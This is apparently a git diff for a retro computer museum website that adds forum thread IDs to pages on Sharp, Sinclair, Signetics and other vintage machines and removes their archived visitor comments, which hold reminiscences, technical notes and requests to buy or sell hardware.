a/content/museum/sharp-wd-2000.md +++ b/content/museum/sharp-wd-2000.md @@ -44,6 +44,7 @@ params: value: CP/M tabs: - photos + forum_thread: 265 photos: - title: KEYBOARD CLOSEUP subtitle: '' @@ -57,29 +58,6 @@ params: subtitle: '' text: The Sharp WD-2000 presented here at a Japanese exhibition. image: /media/museum/photos/sharp_wd2000_salon.jpg - comments: - - author: user (japan) - date: Wednesday 25th October 2017 - text: |- - I''m sorry. I made a mistake.\ - Please, please erase the sentence I wrote.\ - (The sentences written in Japanese are the same contents as the sentence written in English) - - author: user (japan) - date: Sunday 15th October 2017 - text: |- - I used it before.\ - This is word processor appliance.CPU isn''t Z-80. It was Z-8000. - - $$26085$$$26412$$$35486$\ - $$31169$$$12399$$$20197$$$21069$$$20351$$$12387$$$12390$$$12356$$$12383$$$32773$$$12391$$$12377$$$12290$\ - $$12371$$$12428$$$12399$PC$$12391$$$12399$$$12394$$$12367$$$12289$$$12527$$$12540$$$12503$$$12525$$$23554$$$29992$$$27231$$$12391$$$12377$$$12290$CPU$$12399$Z-8000$$12391$$$12375$$$12383$$$12290$\ - $$12371$$$12428$$$12399$$$31169$$$12398$$$24819$$$20687$$$12391$$$12377$$$12364$$$12289$$$24403$$$26178$sharp$$12399$zilog$$12398$$$12475$$$12459$$$12531$$$12489$$$12477$$$12540$$$12469$$$12384$$$12387$$$12383$$$12371$$$12392$$$12392$$$38306$$$20418$$$12354$$$12387$$$12383$$$12398$$$12363$$$12418$$$30693$$$12428$$$12414$$$12379$$$12435$$$12290$ - - author: Diskette lover (Aplace, Countryworld) - date: Saturday 14th February 2009 - text: I agree, It looks cool. Although I think that most old computers are worthy of being painted and put in the luve in France. it has may have been like a fancy word possessor in a macintosh clone looking case. - - author: Longjok (Iceland) - date: Saturday 15th January 2005 - text: I would say that this is like a japanese macintosh. oc_id: 255 source: url: https://web.archive.org/web/20230531232244/http://www.old-computers.com/museum/computer.asp?c=255 diff --git a/content/museum/sharp-x1-c-cz-801c.md b/content/museum/sharp-x1-c-cz-801c.md index 0477ac83..6bdc6de8 100644 --- a/content/museum/sharp-x1-c-cz-801c.md +++ b/content/museum/sharp-x1-c-cz-801c.md @@ -65,6 +65,7 @@ params: - hardware - links - videos + forum_thread: 318 photos: - title: SHARP X1-C subtitle: '' diff --git a/content/museum/sharp-x1-ck-cz-804c.md b/content/museum/sharp-x1-ck-cz-804c.md index 99c016c7..5e3015e4 100644 --- a/content/museum/sharp-x1-ck-cz-804c.md +++ b/content/museum/sharp-x1-ck-cz-804c.md @@ -65,6 +65,7 @@ params: - hardware - links - videos + forum_thread: 320 photos: - title: CLOSE-UP subtitle: '' diff --git a/content/museum/sharp-x1-cs-cz-803c.md b/content/museum/sharp-x1-cs-cz-803c.md index afbafd78..66b4a0d4 100644 --- a/content/museum/sharp-x1-cs-cz-803c.md +++ b/content/museum/sharp-x1-cs-cz-803c.md @@ -63,6 +63,7 @@ params: - hardware - links - videos + forum_thread: 321 photos: - title: SYSTEM & BOX subtitle: '' @@ -112,10 +113,6 @@ params: - title: Sharp X1 japanese commercial url: https://www.youtube.com/watch?v=7QxhgniF8Pg text: 'Length: 15 s' - comments: - - author: SuperTurbo (Japan) - date: Friday 31st August 2012 - text: A KANJI character is displayed on GRAPHIC,not a TEXT MODE because a KANJI ROM of X1(non turbo) is not CG FONT but general ROM. related: - /museum/sharp-x1-c-cz-801c - /museum/sharp-x1-ck-cz-804c diff --git a/content/museum/sharp-x1-cz-800c.md b/content/museum/sharp-x1-cz-800c.md index 5d5770e3..49dbb25d 100644 --- a/content/museum/sharp-x1-cz-800c.md +++ b/content/museum/sharp-x1-cz-800c.md @@ -64,6 +64,7 @@ params: - software - links - videos + forum_thread: 319 photos: - title: GREY MODEL subtitle: '' diff --git a/content/museum/sharp-x1-d-cz-802c.md b/content/museum/sharp-x1-d-cz-802c.md index 3fe275dd..7eb61aa7 100644 --- a/content/museum/sharp-x1-d-cz-802c.md +++ b/content/museum/sharp-x1-d-cz-802c.md @@ -63,6 +63,7 @@ params: - hardware - links - videos + forum_thread: 322 photos: - title: SINGLE FDD VERSION subtitle: '' @@ -163,16 +164,6 @@ params: - title: Sharp X1 japanese commercial url: https://www.youtube.com/watch?v=7QxhgniF8Pg text: 'Length: 15 s' - comments: - - author: stevyn ironfeather (Japan) - date: Wednesday 13rd October 2021 - text: SHARP CZ-802C Spotted at the Shikaoi Hokkaido Japan library October 2021 https://ironfeather.com/bbs/download/file.php?id$732$mode$view welcome to use the photo. can investigate more - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/sharp-x1-c-cz-801c - /museum/sharp-x1-ck-cz-804c diff --git a/content/museum/sharp-x1-turbo-iii.md b/content/museum/sharp-x1-turbo-iii.md index 46bda1ce..40492c2b 100644 --- a/content/museum/sharp-x1-turbo-iii.md +++ b/content/museum/sharp-x1-turbo-iii.md @@ -70,6 +70,7 @@ params: - software - links - videos + forum_thread: 323 photos: - title: X1 TURBO III subtitle: '' diff --git a/content/museum/sharp-x1-turbo-z-cz-880c.md b/content/museum/sharp-x1-turbo-z-cz-880c.md index 9e9d7f15..ffac2f8b 100644 --- a/content/museum/sharp-x1-turbo-z-cz-880c.md +++ b/content/museum/sharp-x1-turbo-z-cz-880c.md @@ -63,6 +63,7 @@ params: - hardware - links - videos + forum_thread: 324 photos: - title: MAIN UNIT subtitle: '' @@ -116,13 +117,6 @@ params: - title: Sharp X1 japanese commercial url: https://www.youtube.com/watch?v=7QxhgniF8Pg text: 'Length: 15 s' - comments: - - author: Hamlet440 - date: Monday 28th March 2016 - text: Any chance to unbox it the last four years? - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Saturday 17th March 2012 - text: I have an X1 TurboZII CZ-881C-BK on it''s way to me from Japan right now. When it arrives I will take pictures of it, outside and inside, and post them here. I am going to hook up the keyboard to a logic analyzer and try figure out the keyboard protocol, for all those people out there who have an X1 without a keyboard. Anyway, pictures to come soon! related: - /museum/sharp-x1-c-cz-801c - /museum/sharp-x1-ck-cz-804c diff --git a/content/museum/sharp-x1-turbo-z-iii.md b/content/museum/sharp-x1-turbo-z-iii.md index 89f6a256..933cf76e 100644 --- a/content/museum/sharp-x1-turbo-z-iii.md +++ b/content/museum/sharp-x1-turbo-z-iii.md @@ -62,6 +62,7 @@ params: - hardware - links - videos + forum_thread: 325 hardware: - title: TOP VIEW subtitle: '' diff --git a/content/museum/sharp-x1-turbo.md b/content/museum/sharp-x1-turbo.md index 0074c307..2c2a899b 100644 --- a/content/museum/sharp-x1-turbo.md +++ b/content/museum/sharp-x1-turbo.md @@ -69,6 +69,7 @@ params: - software - links - videos + forum_thread: 269 photos: - title: SHARP X1 TURBO subtitle: '' diff --git a/content/museum/sharp-x68000-ace-ace-hd.md b/content/museum/sharp-x68000-ace-ace-hd.md index 79855cda..0edfe8e4 100644 --- a/content/museum/sharp-x68000-ace-ace-hd.md +++ b/content/museum/sharp-x68000-ace-ace-hd.md @@ -62,6 +62,7 @@ params: - emulators - links - videos + forum_thread: 308 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ diff --git a/content/museum/sharp-x68000-expert-ii.md b/content/museum/sharp-x68000-expert-ii.md index 7fc010d5..c964f63f 100644 --- a/content/museum/sharp-x68000-expert-ii.md +++ b/content/museum/sharp-x68000-expert-ii.md @@ -65,6 +65,7 @@ params: - emulators - links - videos + forum_thread: 312 photos: - title: CLOSE UP subtitle: '' diff --git a/content/museum/sharp-x68000-expert.md b/content/museum/sharp-x68000-expert.md index c2fb6412..1043bc50 100644 --- a/content/museum/sharp-x68000-expert.md +++ b/content/museum/sharp-x68000-expert.md @@ -56,6 +56,7 @@ params: - emulators - links - videos + forum_thread: 309 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ diff --git a/content/museum/sharp-x68000-pro-ii.md b/content/museum/sharp-x68000-pro-ii.md index 700cd595..92f69f72 100644 --- a/content/museum/sharp-x68000-pro-ii.md +++ b/content/museum/sharp-x68000-pro-ii.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 311 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ diff --git a/content/museum/sharp-x68000-pro.md b/content/museum/sharp-x68000-pro.md index 343776aa..e4d93422 100644 --- a/content/museum/sharp-x68000-pro.md +++ b/content/museum/sharp-x68000-pro.md @@ -60,6 +60,7 @@ params: - emulators - links - videos + forum_thread: 310 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ @@ -93,16 +94,6 @@ params: - title: Sharp X68000 japanese commercial url: https://www.youtube.com/watch?v=DK3GY3HUrm8 text: 'Length: 29 s' - comments: - - author: misticjoe (Czech Republic) - date: Monday 20th June 2016 - text: It have 4 expansion slots. Not 3. Just bought one X68k ProHD :-) - - author: Helf (USA) - date: Wednesday 26th October 2005 - text: They were more powerful than early amigas and ataris and were extremely popular (still are) in japan. The things were monsters. sepcially with upgrades added. - - author: George (FL) - date: Tuesday 3rd May 2005 - text: why was this computer so special? related: - /museum/sharp-x68000 - /museum/sharp-x68000-ace-ace-hd diff --git a/content/museum/sharp-x68000-super-super-hd.md b/content/museum/sharp-x68000-super-super-hd.md index d76b9d53..43756e06 100644 --- a/content/museum/sharp-x68000-super-super-hd.md +++ b/content/museum/sharp-x68000-super-super-hd.md @@ -71,6 +71,7 @@ params: - emulators - links - videos + forum_thread: 313 photos: - title: A PHOTO OF THE X68000 SUPER HD. subtitle: '' diff --git a/content/museum/sharp-x68000-xvi-compact.md b/content/museum/sharp-x68000-xvi-compact.md index 36fe948b..8d95884a 100644 --- a/content/museum/sharp-x68000-xvi-compact.md +++ b/content/museum/sharp-x68000-xvi-compact.md @@ -60,6 +60,7 @@ params: - emulators - links - videos + forum_thread: 315 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ diff --git a/content/museum/sharp-x68000-xvi.md b/content/museum/sharp-x68000-xvi.md index 9ea4aaaa..1d967791 100644 --- a/content/museum/sharp-x68000-xvi.md +++ b/content/museum/sharp-x68000-xvi.md @@ -59,6 +59,7 @@ params: - emulators - links - videos + forum_thread: 314 photos: - title: CLOSE-UP subtitle: '' diff --git a/content/museum/sharp-x68000.md b/content/museum/sharp-x68000.md index adc53d36..0b887fea 100644 --- a/content/museum/sharp-x68000.md +++ b/content/museum/sharp-x68000.md @@ -60,6 +60,7 @@ params: - emulators - links - videos + forum_thread: 304 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ @@ -93,16 +94,6 @@ params: - title: Sharp X68000 japanese commercial url: https://www.youtube.com/watch?v=DK3GY3HUrm8 text: 'Length: 29 s' - comments: - - author: Taylor S (Canada) - date: Saturday 25th August 2018 - text: I agree the Sharp X68000 was a killer when you see some of those arcade identical games. Despite its technical achievement i really dont believe it would have succeeded as a game machine outside the asian countries. $3000 USD at the time was way beyond what ANY reasonable person would pay for a game machine$ games were great but not that great. Granted the X68K system was capable of more but at that time home computers had to be IBM compatible or you were dead. Lets face it, people were getting their fix from significantly cheaper NES, Sega, and even cheap IBM Compatibles with VGA graphics. - - author: Laserdisc (USA) - date: Saturday 7th January 2012 - text: The Sharp X68000 was the top dog in it''s day of 68k based home computers and it better be since it was hella expensive. One could purchase a few Amiga 500s for the price of one entry level X68000. - - author: j (ny) - date: Friday 20th May 2005 - text: square screens are cool related: - /museum/sharp-x68000-ace-ace-hd - /museum/sharp-x68000-expert diff --git a/content/museum/sharp-x68030-68030-compact.md b/content/museum/sharp-x68030-68030-compact.md index 1db52570..a6728dcb 100644 --- a/content/museum/sharp-x68030-68030-compact.md +++ b/content/museum/sharp-x68030-68030-compact.md @@ -60,6 +60,7 @@ params: - emulators - links - videos + forum_thread: 316 emulators: - title: Virtual X68000 Project url: http://www.vx68k.org/vx68k/ diff --git a/content/museum/sheen-2001-home-video-center.md b/content/museum/sheen-2001-home-video-center.md index 8d997461..ae3e274f 100644 --- a/content/museum/sheen-2001-home-video-center.md +++ b/content/museum/sheen-2001-home-video-center.md @@ -59,6 +59,7 @@ params: - emulators - links - docs + forum_thread: 1282 photos: - title: SHEEN 2001 - HOME VIDEO CENTRE subtitle: '' diff --git a/content/museum/shelton-instruments-sig-net.md b/content/museum/shelton-instruments-sig-net.md index d347f6e9..0f4158ad 100644 --- a/content/museum/shelton-instruments-sig-net.md +++ b/content/museum/shelton-instruments-sig-net.md @@ -58,29 +58,7 @@ params: value: Optional 7 MB hard disk (£3300 + £600 for the controller) - label: PRICE value: Basic version (200/2) about $2900 + video terminal - comments: - - author: Ross Milbourne (United Kingdom) - date: Monday 26th October 2020 - text: |- - I own a Shelton Signet 200 cabinet, with twin floppy disk drives built-in and a separate monitor. - - I am trying to find out if anyone has a copy of CP/M, or other software for this machine please? - - Best wishes, Ross - - author: Jayesh Shah (london) - date: Friday 17th April 2020 - text: I used to build the signets. I started working with Chris Shelton in 1981 building the signet3 systems and was the main person doing customer support. It was very sad to see the end of the signet in 1994. I was the only one from the early years still supporting the product. I ended up buying all the stock, some 300 units in various forms and provided support to the various end users still using the Signet3 multiuser systems. I would love to hear from any one who might have spoken to me. - - author: gary smith (United Kingdon) - date: Sunday 1st July 2018 - text: I spent many years programming and selling Shelton Sig-net they were designed by a guy called Chris Shelton of Shelton Instruments and they had CPM operating system. I used to program in Microsoft Compiled Basic and the biggest system I sold was a 48 user to Sunseeker Travel in Huddersfield in 1988. Originally it was one processor per screen all connected to a hard disk using sheltons purpose designed ringring system which was a bus between the processors and the z80 running the hard disk. Rhodime made in scotland in 7/14/21 megabytes that formated down to 5/10/15 MB. I have lots more information if your interested. - - author: Webmaster (France) - date: Saturday 5th June 2010 - text: It would be nice if you could send us some pictures of this rare system! - - author: Dylan Malama - date: Saturday 5th June 2010 - text: |- - I Currently own one of these-\ - without a diskette drive. The case to this machine is easy to remove because it has a little button you can push to unlock it. I''ve been trying to find out who made my system$ and this is the same exact model. thanks old-computers.com! + forum_thread: 791 oc_id: 810 source: url: https://web.archive.org/web/20230528100258/http://www.old-computers.com/museum/computer.asp?c=810 diff --git a/content/museum/siemens-sme.md b/content/museum/siemens-sme.md index 15ec7bbf..4c17495b 100644 --- a/content/museum/siemens-sme.md +++ b/content/museum/siemens-sme.md @@ -60,6 +60,7 @@ params: - photos - hardware - software + forum_thread: 694 photos: - title: BACK SIDE subtitle: '' @@ -105,15 +106,6 @@ params: subtitle: '' text: ISIS Operating System label, and directory of the ISIS system diskette! image: /media/museum/software/siemens_sme_isis-os_1.jpg - comments: - - author: Tom (Switzerland) - date: Friday 10th January 2003 - text: |- - I used this system about 15 Year's ago for Software/Hardware develpment in Siemens-Albis AG, Zurich, Switzerland. - - I remeber that there were up to 10 drives, :F0: to :F9:, :F0: used to be the boot drive! - - each Filename had up to 6 characters, the Extension had up to 3 characters. oc_id: 711 source: url: https://web.archive.org/web/20230603012045/http://www.old-computers.com/museum/computer.asp?c=711 diff --git a/content/museum/siera-g7000.md b/content/museum/siera-g7000.md index 6a31dc3c..4802b2b9 100644 --- a/content/museum/siera-g7000.md +++ b/content/museum/siera-g7000.md @@ -12,6 +12,7 @@ params: - hardware - emulators - links + forum_thread: 1051 hardware: - title: VOCAL SYNTHESIZER subtitle: '' diff --git a/content/museum/signetics-instructor-50.md b/content/museum/signetics-instructor-50.md index 961ecc47..86255a0d 100644 --- a/content/museum/signetics-instructor-50.md +++ b/content/museum/signetics-instructor-50.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 1003 photos: - title: INSTRUCTOR 50 subtitle: '' @@ -152,66 +153,6 @@ params:  type of document : PDF\  size : 20 MB\  source : [BitSavers](http://bitsavers.trailing-edge.com/) - comments: - - author: Usram (France) - date: Sunday 26th September 2021 - text: 'Adress for the Signetics 2650 instructions manual here : http://bitsavers.trailing-edge.com/components/signetics/2650/Signetics_Instructor_50_Users_Guide_Aug1979.pdf' - - author: George (Netherlands) - date: Wednesday 6th December 2017 - text: |- - I''m the proud owner of a Signetics Instructor 50. I got the machine running with an AC power supply, but the heat sink of the old fashioned 7805 got pretty hot, so I switched it off. I don''t have the original power supply unit, but looking at the schematics, I guess it should be 8V AC? In the schematics I see a 5V (DC?) line and an 8V (AC?) line. Does anyone have the original adapter and can info and/or pictures be shared? - - I have 6 thick Philips manuals, but they are all in Dutch (no problem for me of course). Happy to share. - - Instructional manuals can easily be found through Google, in English. - - I saw the post from 2016 in this forum about someone who destroyed the machine by mixing up 110V and 220V (actually it is 230V since 1982 or so...), but actually I don''t understand how that could have destroyed the machine, I''d say only the power supply is gone (or worst case the 7805 and maybe a few other components). - - author: Nick (Netherlands) - date: Tuesday 11th April 2017 - text: If anyone has manuals, parts or expansions for the Instructor-50 in Europe please contact me, or leave a message here. I''ve got mine up and running but no manuals. Mine came from a lot of 70''s computer hardware from the Philips NatLab in Eindhoven. - - author: Jp (Belgium) - date: Thursday 7th July 2016 - text: |- - Hello, Again, - - I as interested in the 220 Volt version, and you can''t really converted to 110 Volt. Mine died because of it, it came from the US and was converted but the heat sink was enough to fry an egg. So if Thijs (Veldhoven, Netherlands) you still have it let me know. alcanjp at yahoo dot com - - Thanks - - author: Jp (Belgium) - date: Thursday 7th July 2016 - text: |- - Hello, - - I am still looking for a Signetics Instructor 50, Mine died\ - Please contact me at alcanjp at yahoo dot com - - thanks - - author: Alfred (U.S.A.) - date: Monday 17th August 2015 - text: |- - I am interested in getting a Instructor 50 if someone has one available.\ - Please contact me at: cto AT teltrust DOT com - - author: Thijs (Veldhoven, Netherlands) - date: Friday 27th February 2015 - text: |- - I have a complete instructor 50 including manuals.\ - Didn''t use it for ages but it should be working.\ - For anyone who is interested. - - author: Hans (DE) - date: Thursday 21st November 2013 - text: 'Little counting error: It got 15 address lines, so capable to addresss 32k (14 would result in 16k). Memory was non continous addressed as 4 pages of 8k each.' - - author: jp (Belgium) - date: Friday 7th June 2013 - text: I have a Signetics Instructor 50 that works, but was converted to work on 220V I am looking for the original adapter for it. Or simply a full working unit. - - author: jp (Belgium) - date: Friday 7th June 2013 - text: I have a Signetics Instructor 50 that works, but was converted to work on 220V I am looking for the original adapter for it. Or simply a full working unit. - - author: Simon Favre (USA) - date: Thursday 13rd September 2012 - text: I have one of these. Haven''t done much with it other than fix up the power supply with a regulator. I''m not sure how complete the manuals are, but I do have some. - - author: James Jacobs (Canberra) - date: Tuesday 14th August 2007 - text: I am the programmer of Ami/WinArcadia, the most advanced and comprehensive emulators of the Signetics-based systems. I am interested in adding support of the Signetics Instructor 50 and/or Adaptable Board Computer to the emulators. If someone has the relevant documentation and/or dumps of software this would enable the emulators to support these machines. Many thanks. oc_id: 1029 source: url: https://web.archive.org/web/20230606131744/http://www.old-computers.com/museum/computer.asp?c=1029 diff --git a/content/museum/sinclair-mk-14.md b/content/museum/sinclair-mk-14.md index 423bc111..faff25b8 100644 --- a/content/museum/sinclair-mk-14.md +++ b/content/museum/sinclair-mk-14.md @@ -69,6 +69,7 @@ params: - adverts - links - videos + forum_thread: 937 photos: - title: FLAT KEYBOARD V.1 subtitle: '' @@ -165,53 +166,6 @@ params: - title: Science of Cambridge (Sinclair) Mk.14 Micro Computer presentation url: https://www.youtube.com/watch?v=ZCm9L94S-fY text: 'Length: 5m 43s' - comments: - - author: Michael Butler (England) - date: Wednesday 14th May 2014 - text: |- - I always wanted one of these when I started looking at Practical Wireless, aged twelve or so...even one hundred pounds was too much - a LOT of money nack then, I got fifty pence per week pocket money, lol. - - Now I''m all Grown Up and Professional, I think it''s time I got one of these - great toy, plus good tool for Education too. - - I have quite a few legacy bits and piieces...SUN SPACstation 2, VT220, 500MB dead heavy hard drive...primitive,, but so much better build qulaity than today. I''m hoping to make someswaps here, and finally get my own Mk 14. - - author: doug rice (UK) - date: Wednesday 6th March 2013 - text: |- - I used to have an MK14. Last summer I put a tool chain together using Paul Robson''s simulator and an assembler. - - Assemble MK14 code and start the simulator with the code loaded. - - author: Neil Barnes (UK) - date: Friday 13rd July 2012 - text: |- - The first computer I bought$ I''d just started work and couldn''t run to a Nascom... like all things Sinclair I believe I had to resort to legal threats to get the thing delivered. But I learned an awful lot from that thing - including designing a video card from scratch, after a lot of false starts, and a tape interface. - - One odd memory was standing in Technomatic in London (Edgware Road?) for a couple of memory chips for it when a chap slammed the door of the shop open, rode in on a unicycle, spun around a couple times, yelled ''B\*\*\*\*\* me!'' and rode out again... - - The MK14 is still on my desk at work. - - author: D.A.T (Alex) (Greece) - date: Thursday 21st June 2012 - text: '...sorry forgot the link!' - - author: D.A.T (Alex) (Greece) - date: Thursday 21st June 2012 - text: Sinclair MK-14 Replica. Trying to revive the original pcb (as close to original as possible!) Sorry only in Greeks but online translation will do the trick! - - author: Richard (Cheshire (UK)) - date: Wednesday 6th October 2010 - text: |- - I still have mine :) baught when I was 12...still have the manual too... - - Before long I was modifying the logic, reducing power consumption $ adding my own chips glued upside down in the middle of the board. This tidied up the somewhat messy memory map ready for a memory expansion board that I never completed (Ram $ Rom). I also replaced the horrible membrane keyboard with better keyswitches $ added a full length heatsink to the overheating regulator. - - I then completed a speech board, amazing my friends by making the MK14 burp $ laugh etc. - - No-one pointed out that this was not actually a ''Sinclair'' product ??, rather the even older "Science Of Cambridge", headed by Clive himself. - - Regards - - author: Bob Garland (UK) - date: Friday 4th June 2010 - text: I still have the muscle reflex in my arm from pressing TERM-MEM-TERM after every byte of Hex! I can remember entering the incredibly long Moonlander program of 100 bytes+ of code to play what would now be considered an incredibly tedious game. - - author: Graham Galbraith (UK) - date: Monday 29th January 2007 - text: I still have mine in working order, (2006). Mine is an earlier one than the one pictured and so had the much-reviled membrane keypad which most owners replaced within days. However, I can not stress enough how valuable this machine was - it made it possible for me to buy and learn about microprocessor technology when other machines costing hundreds of GPB were way out of my reach. What it taught me then, I still use now. oc_id: 961 source: url: https://web.archive.org/web/20230224111139/http://www.old-computers.com/museum/computer.asp?c=961 diff --git a/content/museum/sinclair-pc-200.md b/content/museum/sinclair-pc-200.md index edaf40c0..a3dfef70 100644 --- a/content/museum/sinclair-pc-200.md +++ b/content/museum/sinclair-pc-200.md @@ -64,6 +64,7 @@ params: - photos - emulators - links + forum_thread: 100 photos: - title: SINCLAIR PC-200 subtitle: '' @@ -139,63 +140,6 @@ params: - title: Your Sinclair, the rock'n'roll years url: http://www.ysrnry.co.uk/articles/pc200review.htm text: PC-200 review, dated november 1988 - comments: - - author: Christian Sculpher (Earth) - date: Friday 25th August 2006 - text: I remember being the only 'computer head' in the electrical store I worked in - I was always trying to learn EVERYTHING about the systems we sold. I remember when the PC-200 came in 2 of them - with instructions that both were to be displayed NON-FUNCTIONING - with no product information. If we sold those 2 - we would be sent more (so we had to sell the display models FIRST - an impossibility for a new product). We called head office - they had no information - just a memo saying 'show the customer the box - it contains all the information they need to know' (ie - nothing - just the price!) Eventually we got a visitor from head office - who basically told us that we had to sell them or else the product would fail. It turned out - we had the only 2 in the whole region. When he discovered that (inevitably) most of the box content had gone 'missing' (pilfered by local urchins) he threw the two machines into a bin-bag - got in his car and left - with the 2 computers! Needless to say - - the whole PC200 line lasted less time than it took for our laughter to subside! - - author: Finnish nerd (Finland) - date: Sunday 29th September 2019 - text: |- - This was my first PC (previously I owned a C64 and an Atari 800XL), I bought it on Spring 1990 in Finland for about \~2200 FIM (maybe about £250 or so). The main selling point of this computer was of course the CHEAP PRICE. Other PC models were much more expensive, even the cheapest ones were about 2-3 times more (including monitor). I didn''t have a monitor, I used my small TV set. Amiga and Atari ST were about the same price range, but this Sinclair PC200 was a REAL PC and not a "toy home computer" like the Amiga and ST.. $) It felt cool to own "a real business computer". $) Of course the Amiga and ST had some benefits over this like better build-in graphics and sound, but the PC200 had a faster CPU and a larger (especially business oriented) software library. And it was A REAL PC. $) - - And I was only slightly sarcastic... I actually used the PC200 for real work like desktop publishing (on a DTP software over GEM, called "Finesse") and it performed adequately. I also played many games, and while gaming wasn''t as great in general as with the 16-bit home computers, it did have a faster CPU which allowed better frame rates in flight simulators etc., which I especially liked playing. - - At some point I replaced the Siemens 8086 processor with a compatible NEC V20 processor, which increased performance about 10-20$ at the same clock speed. I also built a "Covox" parallel port D/A converter (sound card), which provided an Amiga-like sound for pennies. Not many software titles supported it, but at least I could play and compose MOD music with it. - - So basically I have really fond memories of this computer, but I only owned it for 1,5 years, after which I upgraded to a 286 VGA machine. But PC200 was the machine I learned my PC basics with and it provided me a head start on the modern computing era compared to the Amiga nerds. $) - - author: iliasazg ($$917$$$955$$$955$$$940$$$948$$$945$) - date: Wednesday 8th February 2017 - text: |- - I have one PC-200 for sale, working condition, fair look, includes S-12MM monochrome monitor.\ - Living in Greece, if you need more info please contact me at +30 693 9722108.\ - Thank you - - author: ELIAS AZGKINIS ($$917$$$955$$$955$$$940$$$948$$$945$) - date: Wednesday 8th February 2017 - text: Retro computer lover - - author: Andre (UK-Europe) - date: Thursday 7th July 2016 - text: |- - In 1977-1989 the most dominant Data Languages used were\ - Cobol and RPG-2,in the IBM,UniVac,Honeywell,Various others in US $Europe - - author: skagon - date: Tuesday 13rd March 2012 - text: |- - Actually, I remember this being advertised in the local computer magazines for quite a few months. The problem was that back then, we didn''t know what it was. Nobody knew it was an XT$ everyone confused by its looks thought it was some kind of Amiga ripoff.\ - Actually, if anyone''s willing to sell, I''d love one of these for my vintage computers collection. Contact me! $) - - author: Mike Oliver (UK) - date: Thursday 7th April 2011 - text: |- - I saw one of these with a 30gb HD in the expansion slot and it worked well so bought one. - - Still have it, all the cables, books and softeare - plus a compatible pin drive computer - in the attic. - - Is it worth anything?? - - author: X - date: Saturday 8th January 2011 - text: This was the very first computer I ever bought myself. It was at reduced price when I bought it (I believe the 286 was already on the market). Despite the unusual casing compared to other PC''s of the time, it was really a nice machine to play with and notably faster than my father''s Laser XT with a 8088 at 10Mhz. At some point, I started extending it with a 8087 co-processor and added memory to 640Kb for which I had ordered an electrical layout booklet from Amstrad and soldered sockets for the RAM chips in myself. Later-on, I even tried installing a 20MB harddisk drive as I got bored from swapping floppies all the time. Unfortunately, this killed it as the harddisk controller was malfunctioning... - - author: My (Italy) - date: Tuesday 2nd March 2004 - text: |- - I think the PC-20 was the high end version\ - of this system, with more features built-in.\ - I have one of this system and I experimented\ - the insert of IBM cards : PC open for EVER.\ - Another notable characteristic is a simple\ - socket in the card-zone : you could insert\ - a 8087, but it's dangerously without protection!\ - I have mounted a 8087 and I locked it with\ - a piece of electric-scotch. I really like the GEM! oc_id: 85 source: url: https://web.archive.org/web/20230201193319/http://www.old-computers.com/museum/computer.asp?c=85 diff --git a/content/museum/sinclair-ql-quantum-leap.md b/content/museum/sinclair-ql-quantum-leap.md index c8ee3d71..ad87da74 100644 --- a/content/museum/sinclair-ql-quantum-leap.md +++ b/content/museum/sinclair-ql-quantum-leap.md @@ -86,6 +86,7 @@ params: - software - emulators - links + forum_thread: 209 photos: - title: FRONT subtitle: '' @@ -355,41 +356,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Sinclair computers - comments: - - author: Yan (Brazil) - date: Thursday 28th November 2019 - text: The year was 1984 and I had a TS-2068 equipped with a backyard made ZX-Spectrum cartridge. I remember to browse the personal computers magazines and literally drool over the pages wondering when I would be able to have my own QL, that supposed to be the natural next step for 2068 owners. Unluckily it was the big failure that everybody is aware of and no one of these fantastic computers have arrived in my country that I know. A couple years later I moved from the 2068 to MSX and it was a big meh for me. Quickly I got rid of it and moved to my first PC-XT. Good old times! :) - - author: zozo (france) - date: Thursday 30th October 2014 - text: j''en ai eu un dans les 90''s mais rien fait avec manuel en anglais... c''était a mon grand frere.dommage qu''il n''est pas eu plus de couleur et des sprites... - - author: Trevor Harvey (UK) - date: Sunday 21st April 2013 - text: My first computer, before I went PC mad. QL had the big breakthrough - after using BBC micros - in its bundled advanced suite of Psion programs called Xchange, plus an advanced BASIC. Tony Tebby was the software engineer - I met him at QL meets, a very enthusiastic man with long hair and glasses who thought in assembly language. The excellent Xchange word processor, database, spreadsheet and business graphics, were let down by the printers of the day, but programming the printer driver taught me loads about ASCII and serial/parallel comms. No USB then! Until the Amstrad WPs came a long, the Xchange Quill WP was many people''s first choice. We somehow got used to the clunky keyboard. I still have my QL, plus its Microvitec monitor. Somehow, I feel affectionate to the old thing. - - author: Clay Bowen (USA) - date: Thursday 18th April 2013 - text: This computer was my upgrade from the 2068. I had the extended memory card, a pair of external quad density 5.25" drives. I did a lot of programming on this machine with a QL version of Pascal (ISO, not Borland). I may still have it in the closet... I have to admit, even after all this time, the microdrive was one of the coolest media ever. - - author: Gordon McIntosh (UK) - date: Wednesday 6th April 2011 - text: I used a QL all the way through university - the 2 built in microdrives were surprisingly reliable. I also remember playing quite a good adventure game on it called "The legend of Zkul" - - author: Urs Koenig (Switzerland) - date: Monday 19th October 2009 - text: |- - 2009 is the year of the 25th anniversary of breaking innovations in personal computing. Early 1984 two milestones were unfolded on both sides of the Atlantic Ocean. Europe was first with the launch of the 32bit multitasking/multiwindowing Sinclair QL. 12 days later America saw the launch of the 32bit GUI/multiwindowing Apple Macintosh. They both entered the field to compete with IBM''s PC. - - Even the Sinclair QL failed in the designated market with only about 150000 machines sold, it inspired many experts and influenced today''s products in one way or another. Most prominent example is Linux, where its creator Linus Torvalds was a QL crack back in the 80s and learned the basics about preemptive multitasking on the QL. To know more about all that, please follow the full 25th anniversary story. http://www.tinyurl.com/9ryma3 - - author: Francisco Martín (Spain) - date: Saturday 27th September 2008 - text: |- - There are new QL versions available today, have changed a lot (into a some format of mix between PC and Spectrum) but if you are a QL fan, you have to visit this link: - - 